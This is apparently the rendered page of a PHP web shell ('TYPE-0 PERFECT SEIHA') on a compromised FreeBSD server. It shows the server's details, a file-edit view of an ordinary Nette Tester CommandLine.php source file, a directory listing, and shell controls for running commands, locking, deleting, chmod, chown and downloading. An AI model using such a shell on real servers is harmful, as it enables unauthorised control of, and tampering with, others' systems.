TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
tester
src
Runner
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/tester/src/Runner/CommandLine.php
<?php /** * This file is part of the Nette Tester. * Copyright (c) 2009 David Grudl (https://davidgrudl.com) */ namespace Tester\Runner; /** * Stupid command line arguments parser. */ class CommandLine { const ARGUMENT = 'argument', OPTIONAL = 'optional', REPEATABLE = 'repeatable', ENUM = 'enum', REALPATH = 'realpath', VALUE = 'default'; /** @var array[] */ private $options = array(); /** @var string[] */ private $aliases = array(); /** @var bool[] */ private $positional = array(); /** @var string */ private $help; public function __construct($help, array $defaults = array()) { $this->help = $help; $this->options = $defaults; preg_match_all('#^[ \t]+(--?\w.*?)(?: .*\(default: (.*)\)| |\r|$)#m', $help, $lines, PREG_SET_ORDER); foreach ($lines as $line) { preg_match_all('#(--?\w[\w-]*)(?:[= ](<.*?>|\[.*?]|\w+)(\.{0,3}))?[ ,|]*#A', $line[1], $m); if (!count($m[0]) || count($m[0]) > 2 || implode('', $m[0]) !== $line[1]) { throw new \InvalidArgumentException("Unable to parse '$line[1]'."); } $name = end($m[1]); $opts = isset($this->options[$name]) ? $this->options[$name] : array(); $this->options[$name] = $opts + array( self::ARGUMENT => (bool) end($m[2]), self::OPTIONAL => isset($line[2]) || (substr(end($m[2]), 0, 1) === '[') || isset($opts[self::VALUE]), self::REPEATABLE => (bool) end($m[3]), self::ENUM => count($enums = explode('|', trim(end($m[2]), '<[]>'))) > 1 ? $enums : NULL, self::VALUE => isset($line[2]) ? $line[2] : NULL, ); if ($name !== $m[1][0]) { $this->aliases[$m[1][0]] = $name; } } foreach ($this->options as $name => $foo) { if ($name[0] !== '-') { $this->positional[] = $name; } } } public function parse(array $args = NULL) { if ($args === NULL) { $args = isset($_SERVER['argv']) ? array_slice($_SERVER['argv'], 1) : array(); } $params = array(); reset($this->positional); $i = 0; while ($i < count($args)) { $arg = $args[$i++]; if ($arg[0] !== '-') { if (!current($this->positional)) { throw new \Exception("Unexpected parameter $arg."); } $name = current($this->positional); $this->checkArg($this->options[$name], $arg); if (empty($this->options[$name][self::REPEATABLE])) { $params[$name] = $arg; next($this->positional); } else { $params[$name][] = $arg; } continue; } list($name, $arg) = strpos($arg, '=') ? explode('=', $arg, 2) : array($arg, TRUE); if (isset($this->aliases[$name])) { $name = $this->aliases[$name]; } elseif (!isset($this->options[$name])) { throw new \Exception("Unknown option $name."); } $opt = $this->options[$name]; if ($arg !== TRUE && empty($opt[self::ARGUMENT])) { throw new \Exception("Option $name has not argument."); } elseif ($arg === TRUE && !empty($opt[self::ARGUMENT])) { if (isset($args[$i]) && $args[$i][0] !== '-') { $arg = $args[$i++]; } elseif (empty($opt[self::OPTIONAL])) { throw new \Exception("Option $name requires argument."); } } if (!empty($opt[self::ENUM]) && !in_array($arg, $opt[self::ENUM], TRUE) && !($opt[self::OPTIONAL] && $arg === TRUE)) { throw new \Exception("Value of option $name must be " . implode(', or ', $opt[self::ENUM]) . "."); } $this->checkArg($opt, $arg); if (empty($opt[self::REPEATABLE])) { $params[$name] = $arg; } else { $params[$name][] = $arg; } } foreach ($this->options as $name => $opt) { if (isset($params[$name])) { continue; } elseif (isset($opt[self::VALUE])) { $params[$name] = $opt[self::VALUE]; } elseif ($name[0] !== '-' && empty($opt[self::OPTIONAL])) { throw new \Exception("Missing required argument <$name>."); } else { $params[$name] = NULL; } if (!empty($opt[self::REPEATABLE])) { $params[$name] = (array) $params[$name]; } } return $params; } public function help() { echo $this->help; } public function checkArg(array $opt, & $arg) { if (!empty($opt[self::REALPATH])) { $path = realpath($arg); if ($path === FALSE) { throw new \Exception("File path '$arg' not found."); } $arg = $path; } } public function isEmpty() { return !isset($_SERVER['argv']) || count($_SERVER['argv']) < 2; } }
Crotin
Name
Size
Permissions
Modified
User/Group
HhvmPhpInterpreter.php
2006
0644
2016-01-11 22:53:24
Unknown/Unknown
ZendPhpInterpreter.php
1934
0644
2016-02-27 09:37:56
Unknown/Unknown
OutputHandler.php
299
0644
2016-01-11 22:53:25
Unknown/Unknown
TestHandler.php
6134
0644
2016-01-11 22:53:25
Unknown/Unknown
ZendPhpDbgInterpreter.php
1789
0644
2016-02-27 09:37:56
Unknown/Unknown
Runner.php
4196
0644
2016-01-11 22:53:24
Unknown/Unknown
CommandLine.php
4315
0644
2016-01-11 22:53:25
Unknown/Unknown
Job.php
4009
0644
2016-01-11 22:53:24
Unknown/Unknown
info.php
984
0644
2016-01-11 22:53:25
Unknown/Unknown
CliTester.php
7971
0644
2018-07-10 17:51:55
Unknown/Unknown
Output
-
0755
2016-01-11 22:57:29
Unknown/Unknown
PhpInterpreter.php
442
0644
2016-01-11 22:53:25
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin